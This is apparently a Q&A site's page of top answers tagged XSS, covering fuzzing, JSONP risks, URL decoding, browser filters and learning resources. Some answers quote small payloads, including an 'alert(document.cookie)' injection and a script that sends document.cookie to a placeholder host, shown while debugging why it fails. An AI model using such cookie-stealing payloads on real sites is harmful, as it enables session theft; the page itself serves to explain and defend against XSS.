Tag Info

Hot answers tagged

9

On it's face, because it takes encoded characters and is handled by the page code, it gets classified as an XSS vulnerability. This does not mean that it is a XSS vulnerability for your site, but it is suspicious. As for the process to determine is there is a risk, you need to do a little fuzzing to see how your site responds. XSS fuzzing options abound ...


6

In short, you don't need SOFTWARE, you need KNOWLEDGE. Seek that first, then the tools can help.


5

It's very possible: texttexttext=function(){};alert(document.cookie); Would give you execution of your code, regardless of what the string literal is. You just make it into a unused function - and you execute everything after that. Edit: plus - you can often use single quotes as a substitute for double quotes.


3

No it is not safe. You are correct that the JSONP service could deliver arbitrary JavaScript, which is then executed as part of your site. Because JSONP is essentially a hack to get around the same origin policy, it is not possible for a JavaScript framework to perform sanitisation. These days, CORS is the preferred way to call external sites. An ...


3

No, loading an HTML file from your computer is never an XSS vulnerability. You can run whatever code you want locally, but that doesn't affect the website. Cross-site scripting is about getting your code executed on other user's browsers so you can interact with their session for that site. Whether that is stealing a session cookie, performing actions, or ...


3

With the comments removed, your code looks like this: <a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a> This results in a syntax error, which prevents the code from running. Particularly, the "" is ...


2

Some browsers like Chrome have anti-XSS features which block obvious attacks. If you open the JavaScript console of your browser, you should see the warnings. Either turn off the protection temporarily or use a different browser.


2

No, not at all. What you did, is just a simple XSS test on your own browser. No other user can be affected by the XSS you coded to run on your own computer. You can deploy the same vulnerability on your own hosted website: that way, your website will be either XSS vulnerable. In which case, it can either be used against your own website by hackers wanting ...


2

In itself, merely having %32%35 decoded to 25 in a URL is neither an error nor a sign of a vulnerability. In fact, it's what RFC 3986, section 2.3 says should happen (emphasis mine): 2.3. Unreserved Characters Characters that are allowed in a URI but do not have a reserved purpose are called unreserved. These include uppercase and lowercase ...


2

An attacker can try to phish me with a malicious url, steal my cookies or my history etc... but does he also need my intervention or a human interaction for his attack? The source could be anywhere there is a link for you to follow: an email, a forum, a Facebook post, Twitter, or it could be that you are already browsing an evil or compromised website. ...


1

There are no specific tool to hack. If you want to "hack" on the web , you will generally use technology that are available on the web; example Javascript. First, I would start by learning how things work in general on a website and then you will see some possible vulnerability and understand why we do certain things to block them. Owasp is a very good site ...


1

First - Nessus checks for vulnerabilities. There's a massive array of places to get educated. If you're wanting to learn for illegal activities, you're on your own. If it's for ethical hacking aka penetration testing then check these out: The Basics of Hacking and Penetration Testing, Second Edition [Book] Sans.org [Classes, free white papers] OWASP [A-Z ...


1

Probably want to use a hidden input form field for storing user input instead of putting it inline. You can sanitize it before storing it but in this example its sanitized on demand. The actual sanitizing of the user input can be done at different times in different languages, so is just abstracted with jazzhands. <script> var myNamespace = {}; ...


1

Assuming that this is the code that is displayed on the webpage, I would say that the URL you pass to location.href is malformed which makes the Javascript crash. Hence, nothing happen. Your code if you reformat it and remove the comments look like that (and there seems to have a typo for the > character on the first line...) <a ...


1

XSS isn't just about making alert boxes appear and redirecting to other pages, there are other things it can do. ;) What are you doing with the input that the user specifies? Does this get stored in a database, or is it used to retrieve images? The input that you are taking in, does it get redisplayed anywhere on your site? If so there could be a ...


1

Michal Zalewski aka lcamtuf made some interesting posts recently and showed some pocs and explanation on how to do it with modern browsers: read first: post @ bugtraq History theft with CSS Boolean algebra Defend Your Spaceship! very impressive research imho


1

The semicolon is an old, mostly-obsolete value for the CGI record separator, but it's still recognized by many CGI scripts. Most likely what's happening is that your /url?cookie1=first_value;another_cookie=another_value&cookie2=second_value is being interpreted as cookie1=first_value another_cookie=another_value cookie2=second_value and since the ...



Only top voted, non community-wiki answers of a minimum length are eligible